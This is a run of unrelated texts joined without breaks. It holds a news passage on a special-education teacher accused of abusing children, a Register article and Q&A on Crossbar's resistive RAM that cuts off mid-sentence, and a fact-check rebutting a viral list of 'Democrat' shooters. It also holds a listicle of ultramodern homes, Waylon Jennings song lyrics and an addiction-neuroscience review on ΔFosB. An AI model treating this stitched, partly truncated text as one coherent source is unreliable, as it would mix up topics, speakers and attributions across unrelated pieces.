One parent, who wished to remain anonymous to protect her son’s identity, had warned the principal in 2008 that she saw Holder shaking her 3-year-old son through the glass window of the classroom violently enough to make his head shake. Her son, who could not speak, signed “All done! All done!” before his mother rushed in. The teacher denied she shook that boy, and the principal told the mother she investigated and found no evidence of it, she said. Police also declined to pursue an investigation, the mother said, saying the district already completed its investigation and found no wrongdoing.
Calls to police were not returned Wednesday
Also in 2008, a 3-year-old special needs child claimed to have been slapped by Holder. The principal was alerted, attorneys learned through their investigation. A police inquiry stalled, they said, because the child was nonverbal, and aides, in depositions, said they were scared to report because Holder was their boss.
Depositions with employees who worked in Holder’s classroom described a troubling environment.
“There are several depositions in which employees describe appalling conditions in the classroom,” Boley said. “Holder was not teaching; she was playing solitaire at her computer, yelling at kids and staff, shoving kids into chairs. One stated that it was ‘common knowledge’ at the school, but nobody did anything despite direct requests to the head of special education for the district. One aide was willing to confirm that she was ‘afraid’ to report the fact that Holder had ‘stopped teaching.'”
Holder’s credential did not allow her to work with autistic children, according to the state agency overseeing teachers, even though she worked with many.
A call to Holder’s attorney was not returned, and a call and email to James Wednesday were not returned.
Board members remained mostly mum Wednesday. They voted in closed session Jan. 9 to make the settlement agreement, trustee Emil Geddes said.
“It’s a personnel issue and really sensitive,” he said. “Believe me, I’m not happy about the suit and about the concerns, but I need to talk to our legal counsel to make sure I’m not violating any rights.”
As for why Holder was not fired after her conviction, Gedees said, “It’s not that our hands are completely tied. It’s that we have to do our correct procedures with personnel issues before we can do something.”
Contact Matthias Gafni at 925-952-5026. Follow him at Twitter.com/mgafni.Crossbar has jumped a hurdle limiting the readability if its resistive RAM non-volatile memory tech and says commercialisation is getting closer.
Crossbar's resistive RAM (RRAM) tech is a 3D semi-conductor structure promising higher densities and faster access than NAND; closer to the fabled uniform memory that's as fast as DRAM and as non-volatile as flash.
Resistive RAM s one of a number of technologies, including Phase-Change Memory and HP's Memristor concept that are jostling to take-over from NAND - which is hitting a scaling wall preventing it from getting denser or faster, shortening its endurance and weakening its reliability.
This RRAM tech was unveiled when Crossbar came out of stealth in August last year and has had a read problem to deal with; so-called sneak path currents affected the readability of data from cells in the RRAM structure.
In a technical presentation at the recent IEEE International Electron Devices Meeting (IEDM) in San Francisco, CA, the company unveiled its approach to suppressing the sneak path current, a field-assisted superlinear threshold selector device.
Crossbar sneak path diagram
Objective Analysis' Jim Handy attended the meeting and tells us:
"In essence, the thing that limits the smallness of a memory bit for RRAM, MRAM, CBRAM, Memristors, etc, is the select device. A lot of the papers here revolve around different approaches to this problem. Unfortunately, the smallest select devices tend to be the worst behaved. Crossbar says that theirs is better than the rest, and the press release and slides certainly make that case."
When does Handy think RRAM could appear in products?
"I spoke with someone who was in the session [a highly-respected process expert] who lauded Crossbar's promotional efforts but said that the technology is still a long way from production.
"My own position has long been that I see 2023 as the year that this, or some competing technology, will displace flash or DRAM. Entrenched technologies will be with us for some time. Until then, this and all the other technologies vying to replace DRAM and flash will be relegated to niches."
Crossbar RRAM concept
Q and A
We asked Crossbar a set of questions about its technology and this is what Sylvain Dubois, its VP for Marketing & Business Development, said.
El Reg: Your 3D RRAM can scale to a 1TB chip. Current NAND chips are 128Gbits and 3D NAND promises even higher densities. The Crossbar demo chip is 4Mbits. What do you anticipate will be the first commercial Crossbar RRAM chip capacity? If Crossbar's technology has 16x the density of current NAND technology are we looking at 16 x 128Gbits = 2.048GB?
Sylvain Dubois: Our first stand-alone product family will reach 1Tbit per die.
El Reg: Crossbar's RRAM endurance is 10x current NAND. Is that SLC, MLC or TLC NAND, and what is the current NAND endurance value you have in mind?
Sylvain Dubois; MLC NAND is about 10,000 write cycles, TLC NAND is about 1,000 write cycles. Crossbar RRAM is targeting 100,000 write cycles.
El Reg: Is Crossbar's RRAM byte-addressable or or is it addressed in blocks like NAND?
Sylvain Dubois: It is byte addressable for the embedded market (on-chip NVM with processing cores on same silicon die). For storage application, customers prefer small pages, about 1K Bytes pages.
El Reg: How does Crossbar's RRAM technology compare to 3D NAND?
Sylvain Dubois: [Our technology has] CMOS compatible Back-End-Of-Line technology, no specific or expensive manufacturing tools, [and] low manufacturing cost. [It's] scalable to small geometries while NAND flash limit is around 19/16nm.
[We have the] ability to tuck in the peripheral circuitry under the cross point memory array [with] no need for a dedicated "memory fab".
El Reg: How does Crossbar's RRAM technology compare to Phase-Change Memory?
Sylvain Dubois
:
Phase change requires heat to change phase from poly to amorphous and vice-versa. As a result high current is needed to generate this heat. Crossbar RRAM is based on electric field-dependent phenomena and does not involve any phase change of the material.
Due to heat PCM is not array scalable as there will be cross-talk between the cells. Due to field-dependency, Crossbar RRAM does not suffer from cross-talk and is highly array scalable.
Phase-change is currently using the 1T1R architecture. With the select feature of the Crossbar RRAM, we enable the 1TnR* architecture which gives us the high-density crosspoint arrays.
El Reg: How does Crossbar's ReRAM technology compare to HP's Memristor technology?
Sylvain Dubois
:
HP memristor is based on an oxygen-vacancy phenomena and typically requires noble electrodes like Pt, which are difficult to integrate in the fab. Crossbar RRAM is based on ionic metal motion and does not require noble electrodes to be used. Metal ions are much more reliably controlled than oxygen vacancies.
As reported the signal between the ON and the OFF state is low for HP memristor. Crossbar RRAM has a larger ON to OFF signal and it continues to increase as the technology scales to smaller geometries.
Memristor technology typically requires a complex non-stoichiometric oxide for oxygen vacancy-based switching and is difficult to replicate. Crossbar RRAM is based on simple amorphous silicon switching layer, does not require tight stoichiometric control and is easy to replicate.
El Reg: You say you are one step closer to commercialization. How many steps are there?
Sylvain Dubois: There are four steps to commercialization. They are basic physics understanding and cell characterization, repeatability proven on small arrays using a prototype, foundry transfer and finally volume manufacturing. We are one last step away.
El Reg: Crossbar has dealt with the sneak path current problem which affects reading of data. Are there problems which affect writing of data?
Sylvain Dubois: The sneak path current problem impacts both reads and writes. What Crossbar is disclosing today solves both reads and writes to high-density crosspoint arrays.
El Reg: What are the read and write 4K IOPS numbers for Crossbar's ReRAM?
Sylvain Dubois: We are not yet announcing product specifications. At the technology level, we demonstrated that we have very low latency random read and small page granularity. We’re currently in discussion with alpha partners to leverage these superior characteristics and performances at the system level.
El Reg: What are the anticipated sequential bandwidth numbers for a Crossbar RRAM SSD?
Sylvain Dubois: We cannot disclose our product specifications at this time.
El Reg: How will Crossbar RRAM be implemented? As an SSD? A PCIe ReRAM card? DIMM modules?
Sylvain Dubois: We will ensure that Crossbar RRAM superior |
In 1991, George Hennard, a disgruntled Democrat, shot and killed 23 people in a Luby’s [C]afeteria in Killeen, TX.
UNPROVEN
Again, we found no evidence that Hennard was a registered Democrat.
A motivation for Hennard’s violent and deadly act are still unclear (he took his own life before he was arrested), but reports at the time indicate that his shooting spree was motivated by his hatred of women:
With cold-blooded efficiency, he stalked the restaurant and chose those who would die — most of whom were women. “All women of Killeen and Belton are vipers! See what you’ve done to me and my family!” Hennard yelled, calmly carrying out his executions, often at point-blank range with a single shot to the head. “Is it worth it? Tell me, is it worth it?”
In 1995, James Daniel Simpson, a disgruntled Democrat, shot and killed 5 coworkers in a Texas laboratory.
UNPROVEN
Simpson, who killed five people at an oil refinery where he used to work, does not appear to have been motivated by politics. We also found no evidence that he was a Democrat. For this, and all other Texas shootings on the list, we contacted the Texas Historical Commission, who directed us to the Texas Secretary of State’s office, from whom we have not yet received a response. Again, we are skeptical that whoever put this shooting on the list found evidence that Simpson was a Democrat.
In 1999, Larry Asbrook, a disgruntled Democrat, shot and killed 8 people at a church service.
UNPROVEN
We found no evidence that Asbrook was a Democrat. Although his motivation for opening fire at a church service is unclear, Asbrook was associated with hate groups such as the Ku Klux Klan and the Phineas Priests. During the shooting spree, Asbrook also called religion “bullshit“:
The most intriguing new detail came from Houston writer and private investigator John Craig, who said he had interviewed Ashbrook in the presence of several Ku Klux Klan members in spring 1997. Co-writer of a book on white supremacists, Craig said that Ashbrook boasted of his membership in the Phineas Priests, a loose-knit, virulently racist movement that advocates the killing of minorities and Jews. Buford Furrow, who allegedly shot up a Jewish day-care center in Los Angeles in August, is also believed to be a Phineas Priest.
In 2001, a left wing radical Democrat fired shots at the White House in a failed attempt to kill George W. Bush, President of the US.
FALSE
Shooter: Robert Pickett
Robert Pickett, who struggled with mental health issues, was fired from his job at the Internal Revenue Service (IRS) in 1989. In 1994, he sued the government to get his job back, but the case was thrown out. According to CBS News:
Pickett continued to harbor resentment against the IRS. Police sources tell CBS News he sent several letters to an Indiana congressman complaining about it, and that he seemed to be “paranoid.”
Pickett fired multiple shots at the White House in 2001. However, he was never a registered Democrat, and does not appear to have ever voted:
Doug Davidoff, spokesman for the Indiana Democratic Party, said public election records showed Pickett registered to vote in 1992 but did not cast a ballot and has not voted since.
In Indiana, where Pickett registered to vote, the voter registration form does not offer the option to register as the member of a political party. Instead, for the purpose of political primaries, voters affiliate with a party based on their vote in the last election. Since Pickett never voted, he was never officially a member of any political party.
In 2003, Douglas Williams, a disgruntled Democrat, shot and killed 7 people at a Lockheed Martin plant.
UNPROVEN
We found no evidence that Williams was a Democrat. Although many claimed that the shooting was racially motivated – according to one co-worker Williams once threatened to “kill me a bunch of n*ggers” – others simply said that he was “mad at the world”:
Some of Doug Williams’ co-workers said they were not surprised to hear that he was the man who blasted away with a shotgun at a Lockheed Martin factory near Meridian, Miss., before shooting himself. “Mr. Williams was mad at the world,” co-worker Hubert Threat said. “This man had an issue with everybody.” Four of the five people he killed were black. Some co-workers said Williams, who was white, had made racist remarks. But authorities said it appeared Williams shot people at random.
In 2007, a registered Democrat named Seung – Hui Cho, shot and killed 32 people in Virginia Tech.
FALSE
Seung-Hui Cho was not a registered Democrat. Cho was born in South Korea and was a legal resident alien of the United States, which makes it exceedingly unlikely that he was registered to vote in Virginia. Furthermore, Virginia does not have partisan voter registration, so even if Cho had been registered, he would not have been registered as a Democrat.
In 2010, a mentally ill registered Democrat named Jared Lee Loughner, shot Rep. Gabrielle Giffords and killed 6 others.
FALSE
Jared Lee Loughner was a registered as an Independent in 2006 and did not vote in 2010.
In 2011, a registered Democrat named James Holmes, went into a movie theater and shot and killed 12 people.
FALSE
The claim that James Holmes was a registered Democrat stems from a Breitbart article that was based on the voter registration of a different man named James Holmes. The article was eventually updated to state that Holmes may not have been registered to vote at all:
Newly-released information on the suspect’s birthdate (which, as indicated in our initial report, was a slight mismatch), combined with new details Breitbart News has obtained about the suspect’s likely addresses, together suggest that the suspect may, in fact, not have been registered to vote.
ABC News made a similar mistake when they tied Holmes to the tea party. That report also resulted in a correction:
An earlier ABC News broadcast report suggested that a Jim Holmes of a Colorado Tea Party organization might be the suspect, but that report was incorrect. Several other local residents with similar names were also contacted via social media by members of the public who mistook them for the suspect.
We found no record of Holmes’s political affiliation, if he indeed had any.
In 2012, Andrew Engeldinger, a disgruntled Democrat, shot and killed 7 people in Minneapolis.
UNPROVEN
We found no evidence that Engeldinger was a registered Democrat, and his shooting does not appear to have been politically motivated. The Minnesota Historical Society Library told us that they do not maintain records for individual voters. We did, however, once again find reports that the shooter was mentally unstable.
Andrew J. Engeldinger’s descent into darkness began two years ago, but even as he retreated from family and bought handguns and ammunition, he kept coming to work at the Accent Signage Systems factory in Minneapolis. Engeldinger, 36, worked his shift Thursday and was told that after a dozen years, he no longer had a job. Then he pulled out a 9mm Glock handgun and committed the largest workplace massacre in recent Minnesota history. […] But in recent years, Engeldinger’s family began worrying about what appeared to be his paranoia and delusions. Two years ago, his parents attended a 12-week “Family to Family” class offered by the Minnesota National Alliance on Mental Illness. The class is taught by family members of mentally ill people. His family hadn’t had contact with him for about 21 months after he had shown signs of possible mental illness, said Sue Abderholden, executive director of the Minnesota National Alliance on Mental Illness. They were trying to get him to seek treatment; they did think something was wrong,” she said. But Engeldinger didn’t appear to be a threat to himself or others — criteria for petitioning for commitment to mental health care, she said.
In 2013, a registered Democrat named Adam Lanza, shot and killed 26 people in a school in Newtown, CT.
FALSE
The assumption that Adam Lanza was a registered Democrat appears to be based on the fact that Connecticut is typically a Democratic state. However, this is not evidence that Lanza himself was registered as a Democrat. In fact, a report at the time noted that Lanza was not registered to vote:
Adam — 5-feet-10 and thin, with blue eyes, according to his driver’s license — had become a vegan and insisted on eating organic food. Family friends said he was politically conservative, although he was the one member of his immediate family not registered to vote.
Furthermore, Lanza’s inclusion on this list is problematic as police found an NRA shooting guide at his home and an NRA certificate in Lanza’s name.
As recently as Sept 2013, an angry Democrat shot 12 at a Navy ship yard.
UNPROVEN
Shooter: Aaron Alexis
The claim that Aaron Alexis was a Democrat can be traced back to an article published by The National Report, a fake news web site that has a long history of publishing misinformation:
National Report is a news and political satire web publication, which may or may not use real names, often in semi-real or mostly fictitious ways. All news articles contained within National Report are fiction, and presumably fake news. Any resemblance to the truth is purely coincidental.
We found no record of Aaron Alexis being registered as a Democrat. However, a co-worker of Alexis’ did say that the shooter was more of a “liberal-type” guy:
“Aaron wasn’t conservative, like I am,” Ritrovato added. “He was more of a liberal type.” “He wasn’t happy with the former administration,” he continued. “He was more happy with this administration, as far as presidential administrations.”
Politics, however, were not the motivation behind the attack:
The government contractor who killed 12 people at the Washington Navy Yard last week was driven by delusions that he was being controlled by low-frequency radio waves and scratched the words “End the torment!” on the barrel of the shotgun he used, the FBI said Wednesday, offering new, chilling details of the attack.
In conclusion
This viral list has been published by a wide range of outlets. However, none of those publications provided any documentation to prove that these individuals were all Democrats. Our investigation found that the majority of people on this list had no official connection to a political party, and that the majority of the incidents were not motivated by politics.Many designers must content themselves with imagining and drawing things that may never be built – very few can realize ultramodern home visions in the real world. Like a blast from the future, these ten architects have brought to life incredible houses that most of us could not even dream of – let alone afford.
Ultramodern Cantilevered Forest Home
Contrary to popular belief, most architects make far less money than other highly trained professionals in more lucrative fields. That is part of the reason why it is a rare opportunity when an architect can design their own home. Michael Rantilla is one with this unusual chance and has constructed a personal residence that is masterfully detailed and geometrically engaging from every possible angle.
Ultramodern Buried Bunker Home
A sloping site is challenging enough – but a narrow and particularly steep one is all the more difficult. Alvaro Siza took what many would see as a bad situation and turned it into a series of amazing design opportunities, creating a cascading series of concrete spaces and capturing a set of amazing views along the way.
Ultramodern Spiral Shell Home
Working with nature can be one of the most challenging things in constructing a non-urban residence. This spectacular spiral house by ARTechnic weaves and flows organically within its forest setting but also stands out, a white concrete intrusion in its lush green surroundings. In short, it works in tension with the natural world, providing security for those within but also visual connection to the outside scenery.
Ultramodern Urban Hilltop Home
What do you build for your personal residence when your family is known throughout the city for its towering downtown skyscrapers? Here, the design-oriented family running TYL Design Group opted for opulence and chose to stand out starkly from their surrounding neighborhood with a house that is as much a castle as it is a home.
Ultramodern Tiny Lot Home
Small lots can be challenging but they can also inspire great things, like this creative residence by K2LD Architects which fills its site as completely as possible and pushes the edges with a series of sleek geometric moves that at once break up the overall volume but also contribute to the amazing ultramodern composition of the whole construction.
Ultramodern Skinny Lot Home
Skinny lots are a tough sell – except to those like Shuhei Endo who have a vision for what to do with them. This house deals with grade changes, a thin and varying footprint and other kinds of locational issues that would send most builders and buyers running. However, the resulting design is both beautiful and fully engaged with its environment, providing interesting on-site niches and views of the water below.
Ultramodern Contextually Designed Home
Creating new constructions in existing historical environments is all about balance – fitting in without appearing to falsely copy what came before. A successful contemporary design, by the estimates of some anyway, should be like what you see above: something that works with the materiality and scale of what is around it but that is also clearly understood as a new intervention.
Ultramodern Concrete Fortress Home
When building in a rural area one generally wants to connect to nature but clearly also seeks a sense of seclusion. Built somewhat like a modern concrete fortress, this home rings around a central courtyard accessible only to the residents but also opens up along its circumference for maximum views to the forest around it.
Ultramodern Glass Cube Home
When a neighborhood is beautiful as it is, many architects choose to respect the vernacular architecture and build something that fits. When the neighborhood is somewhat less aesthetically desireable, it conversely gives designers like October Ueda & Nakagawa Architects license to do something radically different, creative and new like the ultramodern box home shown above.This Waylon Jennings song references a couple whose success has harmed their marriage, the singer suggests they go back to the simple life in Luckenbach, Texas.
Country icon Waylon Jennings recorded “Luckenbach, Texas (Back to the Basics of Love)” and released it as the first single from the album Ol’ Waylon in April 1977. The classic song was written by Chips Moman and Bobby Emmons.
Check out Waylon performing the song live below!
“Luckenbach, Texas” Lyrics
The only two things in life that make it worth livin’
Is guitars that tune good and firm feelin’ women
I don’t need my name in the marquee lights
I got my song and I got you with me tonight
Maybe it’s time we got back to the basics of love
Let’s go to Luckenbach, Texas
With Waylon and Willie and the boys
This successful life we’re livin’
Got us feuding like the Hatfields and McCoys
Between Hank Williams’ pain songs and
Newberry’s train songs and Blue Eyes Cryin’ in the Rain
Out in Luckenbach, Texas ain’t nobody feelin’ no pain
So baby, let’s sell your diamond ring
Buy some boots and faded jeans and go away
This coat and tie is choking me
In your high society you cry all day
We’ve been so busy keepin’ up with the Jones
Four car garage and we’re still building on
Maybe it’s time we got back to the basics of love
Let’s go to Luckenbach, Texas
With Waylon and Willie and the boys
This successful life we’re livin’ got us feudin’
Like the Hatfield and McCoys
Between Hank Williams’ pain songs and
Newberry’s train songs and Blue Eyes Cryin’ in the Rain
Out in Luckenbach, Texas ain’t nobody feelin’ no pain
Let’s go to Luckenbach, Texas
With Willie and Waylon and the boys
This successful life we’re livin’s got us feudin’
Like the Hatfield and McCoys
Between Hank Williams’ pain songs
And Jerry Jeff’s train songs and Blue Eyes Cryin’ in the Rain
Out in Luckenbach, Texas there ain’t nobody feelin’ no pain
Share this with other fans of traditional country music!Abstract The longevity of some of the behavioral abnormalities that characterize drug addiction has suggested that regulation of neural gene expression may be involved in the process by which drugs of abuse cause a state of addiction. Increasing evidence suggests that the transcription factor ΔFosB represents one mechanism by which drugs of abuse produce relatively stable changes in the brain that contribute to the addiction phenotype. ΔFosB, a member of the Fos family of transcription factors, accumulates within a subset of neurons of the nucleus accumbens and dorsal striatum (brain regions important for addiction) after repeated administration of many kinds of drugs of abuse. Similar accumulation of ΔFosB occurs after compulsive running, which suggests that ΔFosB may accumulate in response to many types of compulsive behaviors. Importantly, ΔFosB persists in neurons for relatively long periods of time because of its extraordinary stability. Therefore, ΔFosB represents a molecular mechanism that could initiate and then sustain changes in gene expression that persist long after drug exposure ceases. Studies in inducible transgenic mice that overexpress either ΔFosB or a dominant negative inhibitor of the protein provide direct evidence that ΔFosB causes increased sensitivity to the behavioral effects of drugs of abuse and, possibly, increased drug seeking behavior. This work supports the view that ΔFosB functions as a type of sustained “molecular switch” that gradually converts acute drug responses into relatively stable adaptations that contribute to the long-term neural and behavioral plasticity that underlies addiction.
Addiction research is focused on understanding the complex ways in which drugs of abuse change the brain to cause behavioral abnormalities that characterize addiction. One of the critical challenges in the field is to identify relatively stable drug-induced changes in the brain to account for those behavioral abnormalities that are particularly long-lived. For example, a human addict may be at increased risk for relapse even after years of abstinence.
The stability of these behavioral abnormalities has led to the suggestion that they may be mediated, at least in part, through changes in gene expression (1–3). According to this view, repeated exposure to a drug of abuse repeatedly perturbs transmission at particular synapses in the brain that are sensitive to the drug. Such perturbations eventually signal via intracellular messenger cascades to the nucleus, where they first initiate and then maintain changes in the expression of specific genes. A primary mechanism through which signal transduction pathways influence gene expression is the regulation of transcription factors, proteins that bind to regulatory regions of genes and modify their transcription.
One goal of addiction research, therefore, has been to identify transcription factors that are altered in brain regions implicated in addiction after chronic administration of drugs of abuse. Several such transcription factors have been identified over the past decade (1–6). The focus of this review is on one particular transcription factor called ΔFosB.
Induction of ΔFosB by Drugs of Abuse ΔFosB, encoded by the fosB gene, is a member of the Fos family of transcription factors, which also include c-Fos, FosB, Fra1, and Fra2 (7). These Fos family proteins heterodimerize with Jun family proteins (c-Jun, JunB, or JunD) to form active AP-1 (activator protein-1) transcription factors that bind to AP-1 sites (consensus sequence: TGAC/GTCA) present in the promoters of certain genes to regulate their transcription. These Fos family proteins are induced rapidly and transiently in specific brain regions after acute administration of many drugs of abuse (Fig. 1) (8–11). Prominent regions are the nucleus accumbens and dorsal striatum, which are important mediators of behavioral responses to the drugs, in particular, their rewarding and locomotor-activating effects (12, 13). These proteins return to basal levels within hours of drug administration. Figure 1 Scheme showing the gradual accumulation of ΔFosB versus the rapid and transient induction of other Fos family proteins in response to drugs of abuse. (A) The autoradiogram illustrates the differential induction of these various proteins by acute stimulation (1–2 hr after a single drug exposure) versus chronic stimulation (1 day after repeated drug exposure). (B) Several waves of Fos-like proteins [comprised of c-Fos (52- to 58-kDa isoforms), FosB (46- to 50-kDa isoforms), ΔFosB (33-kDa isoform), and Fra1 or Fra2 (40 kDa)] are induced in nucleus accumbens and dorsal striatal neurons by acute administration of a drug of abuse. Also induced are biochemically modified isoforms of ΔFosB (35–37 kDa); they, too, are induced (although at low levels) after acute drug administration, but persist in brain for long periods because of their stability. (C) With repeated (e.g., twice daily) drug administration, each acute stimulus induces a low level of the stable ΔFosB isoforms, which is indicated by the lower set of overlapping lines that indicate ΔFosB induced by each acute stimulus. The result is a gradual increase in the total levels of ΔFosB with repeated stimuli during a course of chronic treatment, which is indicated by the increasing stepped line in the graph. Very different responses are seen after chronic administration of drugs of abuse (Fig. 1). Biochemically modified isoforms of ΔFosB (molecular mass 35–37 kDa) accumulate within the same brain regions after repeated drug exposure, whereas all other Fos family members show tolerance (that is, reduced induction compared with initial drug exposures). Such accumulation of ΔFosB has been observed for cocaine, morphine, amphetamine, alcohol, nicotine, and phencyclidine (11, 14–18). There is some evidence that this induction is selective for the dynorphin/substance P-containing subset of medium spiny neurons located in these brain regions (15, 17), although more work is needed to establish this with certainty. The 35- to 37-kDa isoforms of ΔFosB dimerize predominantly with JunD to form an active and long-lasting AP-1 complex within these brain regions (19, 20). These ΔFosB isoforms accumulate with chronic drug exposure because of their extraordinarily long half-lives (21), and therefore persist in the neurons for at least several weeks after cessation of drug administration. It is interesting to note that these ΔFosB isoforms are highly stable products of an immediate early gene (fosB). The stability of the ΔFosB isoforms provides a novel molecular mechanism by which drug-induced changes in gene expression can persist despite relatively long periods of drug withdrawal. Although the nucleus accumbens plays a critical role in the rewarding effects of drugs of abuse, it is believed to function normally by regulating responses to natural reinforcers, such as food, drink, sex, and social interactions (12, 13). As a result, there is considerable interest in a possible role of this brain region in other compulsive behaviors (e.g., pathological overeating, gambling, exercise, etc.). For this reason, we examined whether ΔFosB is regulated in an animal model of compulsive running. Indeed, the stable 35- to 37-kDa isoforms of ΔFosB are induced selectively within the nucleus accumbens in rats that show compulsive running behavior.†
Biochemical Identity of Stable ΔFosB Isoforms As mentioned above, the ΔFosB isoforms that accumulate after chronic administration of a drug of abuse or compulsive running show a molecular mass of 35–37 kDa. They can be differentiated from the 33-kDa isoform of ΔFosB that is induced rapidly but transiently after a single drug exposure (Fig. 1) (14, 19, 22). Current evidence suggests that the 33-kDa isoform is the native form of the protein, which is altered to form the more stable 35- to 37-kDa products (19, 21). However, the nature of the biochemical modification that converts the unstable 33-kDa isoform into the stable 35- to 37-kDa isoforms has remained obscure. It has been speculated that phosphorylation may be responsible (11). For example, induction of ΔFosB is attenuated in mice lacking DARPP-32, a striatal-enriched protein (23, 24). Because DARPP-32 regulates the catalytic activity of protein phosphatase-1 and protein kinase A (25, 26), the requirement for this protein for the normal accumulation of the stable ΔFosB isoforms suggests a possible role for phosphorylation in generation of these stable products.
Role of ΔFosB in Behavioral Plasticity to Drugs of Abuse Insight into the role of ΔFosB in drug addiction has come largely from the study of transgenic mice in which ΔFosB can be induced selectively within the nucleus accumbens and other striatal regions of adult animals (27, 28). Importantly, these mice overexpress ΔFosB selectively in the dynorphin/substance P-containing medium spiny neurons, where the drugs are believed to induce the protein. The behavioral phenotype of the ΔFosB-overexpressing mice, which in many ways resembles animals after chronic drug exposure, is summarized in Table 1. The mice show augmented locomotor responses to cocaine after acute and chronic administration (28). They also show enhanced sensitivity to the rewarding effects of cocaine and morphine in place-conditioning assays (11, 28) and will self-administer lower doses of cocaine than littermates that do not overexpress ΔFosB.‡ In contrast, these animals show normal conditioned locomotor sensitization to cocaine and normal spatial learning in the Morris water maze (28). These data indicate that ΔFosB increases an animal's sensitivity to cocaine and perhaps other drugs of abuse and may represent a mechanism for relatively prolonged sensitization to the drugs. Table 1 Behavioral plasticity mediated by ΔFosB in nucleus accumbens-dorsal striatum In addition, there is preliminary evidence that the effects of ΔFosB may extend well beyond a regulation of drug sensitivity per se to more complex behaviors related to the addiction process. Mice expressing ΔFosB work harder to self-administer cocaine in progressive ratio self-administration assays, suggesting that ΔFosB may sensitize animals to the incentive motivational properties of cocaine and thereby lead to a propensity for relapse after drug withdrawal.‡ ΔFosB-expressing mice also show enhanced anxiolytic effects of alcohol,§ a phenotype that has been associated with increased alcohol intake in humans. Together, these early findings suggest that ΔFosB, in addition to increasing sensitivity to drugs of abuse, produces qualitative changes in behavior that promote drug-seeking behavior. Thus, ΔFosB may function as a sustained “molecular switch” that helps initiate and then maintain crucial aspects of the addicted state. An important question under current investigation is whether ΔFosB accumulation during drug exposure promotes drug-seeking behavior after extended withdrawal periods, even after ΔFosB levels have normalized (see below). Adult mice that overexpress ΔFosB selectively within the nucleus accumbens and dorsal striatum also exhibit greater compulsive running compared with control littermates.† These observations raise the interesting possibility that ΔFosB accumulation within these neurons serves a more general role in the formation and maintenance of habit memories and compulsive behaviors, perhaps by reinforcing the efficacy of neural circuits in which those neurons function. ΔFosB accumulates in certain brain regions outside the nucleus accumbens and dorsal striatum after chronic exposure to cocaine. Prominent among these regions are the amygdala and medial prefrontal cortex (15). A major goal of current research is to understand the contributions of ΔFosB induction in these regions to the addiction phenotype. Earlier work on fosB knockout mice revealed that these animals fail to develop sensitization to the locomotor effects of cocaine, which is consistent with the findings of the ΔFosB-overexpressing mice mentioned above (22). However, the fosB mutants showed enhanced sensitivity to cocaine's acute effects, which is inconsistent with these other findings. Interpretation of findings with the fosB mutants, though, is complicated by the fact that these animals lack not only ΔFosB, but full-length FosB as well. Moreover, the mutants lack both proteins throughout the brain and from the earliest stages of development. Indeed, more recent work supports conclusions from the ΔFosB overexpressing mice: inducible overexpression of a truncated mutant of c-Jun, which acts as a dominant negative antagonist of ΔFosB, selectively in nucleus accumbens and dorsal striatum shows reduced sensitivity to the rewarding effects of cocaine.¶ These findings emphasize the caution that must be used in interpreting results from mice with constitutive mutations and illustrate the importance of mice with inducible and cell type-specific mutations in studies of plasticity in the adult brain.
Target Genes for ΔFosB Because ΔFosB is a transcription factor, presumably the protein causes behavioral plasticity through alterations in the expression of other genes. ΔFosB is generated by alternative splicing of the fosB gene and lacks a portion of the C-terminal transactivation domain present in full-length FosB. As a result, it was originally proposed that ΔFosB functions as a transcriptional repressor (29). However, work in cell culture has demonstrated clearly that ΔFosB can either induce or repress AP-1-mediated transcription depending on the particular AP-1 site used (21, 29–31). Full-length FosB exerts the same effects as ΔFosB on certain promoter fragments, but different effects on others. Further work is needed to understand the mechanisms underlying these varied actions of ΔFosB and FosB. Our group has used two approaches to identify target genes for ΔFosB. One is the candidate gene approach. We initially considered α-amino-3-hydroxy-5-methyl-4-isoxazolepropionic acid (AMPA) glutamate receptors as putative targets, given the important role of glutamatergic transmission in the nucleus accumbens. Work to date has indicated that one particular AMPA glutamate receptor subunit, GluR2, may be a bona fide target for ΔFosB (Fig. 2). GluR2 expression, but not the expression of other AMPA receptor subunits, is increased in nucleus accumbens (but not dorsal striatum) upon overexpression of ΔFosB (28), and expression of a dominant negative mutant attenuates the ability of cocaine to induce the protein.¶ In addition, the promoter of the GluR2 gene contains a consensus AP-1 site that binds ΔFosB (28). Overexpression of GluR2 in the nucleus accumbens, by use of viral-mediated gene transfer, increases an animal's sensitivity to the rewarding effects of cocaine, thereby mimicking part of the phenotype seen in the ΔFosB-expressing mice (28). Induction of GluR2 could account for the reduced electrophysiological sensitivity of nucleus accumbens neurons to AMPA receptor agonists after chronic cocaine administration (32), because AMPA receptors containing GluR2 show reduced overall conductance and reduced Ca2+ permeability. Reduced responsiveness of these neurons to excitatory inputs may then enhance responses to a drug of abuse. However, the ways in which dopaminergic and glutamatergic signals in nucleus accumbens regulate addictive behavior remain unknown; this will require a neural circuit level of understanding, which is not yet available. Figure 2 The AMPA glutamate receptor subunit, GluR2, is a putative target for ΔFosB. Shown is how ΔFosB-mediated induction of GluR2 may alter the physiological responsiveness of nucleus accumbens neurons and lead to sensitized responses to drugs of abuse. According to this scheme, drugs of abuse produce their acute reinforcing effects via inhibition of nucleus accumbens neurons. With repeated exposure, the drugs induce ΔFosB, which regulates numerous target genes, including GluR2. This increases the proportion of AMPA receptors (AMPA-R) on nucleus accumbens neurons that contain the GluR2 subunit, which causes reduced overall AMPA current and reduced Ca2+ current. This reduced excitability could render the neurons more sensitive to the acute inhibitory effects of the drugs and thereby to the drugs' reinforcing effects. Another putative target for ΔFosB is the gene encoding dynorphin. As stated earlier, dynorphin is expressed in the subset of nucleus accumbens medium spiny neurons that show induction of ΔFosB. Dynorphin appears to function in an intercellular feedback loop: its release inhibits the dopaminergic neurons that innervate the medium spiny neurons, via κ opioid receptors present on dopaminergic nerve terminals in the nucleus accumbens and also on cell bodies and dendrites in the ventral tegmental area (Fig. 3) (33–35). This idea is consistent with the ability of a κ receptor agonist, upon administration into either of these two brain regions, to decrease drug reward (35). Recent work has indicated that ΔFosB decreases the expression of dynorphin,‖ which could contribute to the enhancement of reward mechanisms seen with ΔFosB induction. Interestingly, another drug-regulated transcription factor, CREB (cAMP response element binding protein) (2, 3), exerts the opposite effect: it induces dynorphin expression in the nucleus accumbens and reduces the rewarding properties of cocaine and morphine (4).** Because drug-induced activation of CREB dissipates rapidly after drug administration, such reciprocal regulation of dynorphin by CREB and ΔFosB could explain the reciprocal behavioral changes that occur during early and late phases of withdrawal, with negative emotional symptoms and reduced drug sensitivity predominating during early phases of withdrawal, and sensitization to the rewarding and incentive motivational effects of drugs predominating at later time points. Figure 3 Dynorphin is a putative target for ΔFosB. Shown is a ventral tegmental area (VTA) dopamine (DA) neuron innervating a class of nucleus accumbens (NAc) GABAergic projection neuron that expresses dynorphin (DYN). 